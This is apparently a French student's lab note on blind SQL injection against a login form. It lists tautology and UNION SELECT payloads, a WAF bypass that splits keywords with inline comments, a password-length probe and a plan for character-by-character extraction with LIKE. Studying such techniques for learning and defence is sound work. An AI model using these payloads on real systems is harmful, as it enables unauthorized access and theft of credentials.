| Étudiant | Date | Sujet |
|---|---|---|
| Hamza | 3/29/2023 | Blind SQLi |
Erreur et type de base de données
admin
admin'

Condition vraie
username=admin&password=admin' OR '1'='1

Déterminer le nombre de colonnes
admin
admin' UNION select null,null

On ne peut pas déterminer visuellement le nombre de colonnes. Le WAF bloque nos requêtes.
Contournement du WAF
admin' OR '1'='1 UNI/**/ON/**/SEL/**/ECT/**/null,null
On connaît déjà le nom de la table.
admin' AND (SEL/**/ECT le/**/ng/**/th(password)>7 FROM TABLE)
On passe des informations générales aux détails.
Dans ce test, LIKE ne fait pas de distinction entre les majuscules et les minuscules.
LIKE permet ici de tester si la valeur contient une lettre.
- Calculer la taille de la table
- Déterminer lettre par lettre les caractères de la table
- Majuscule
- Minuscule
- Trouver la lettre à chaque position.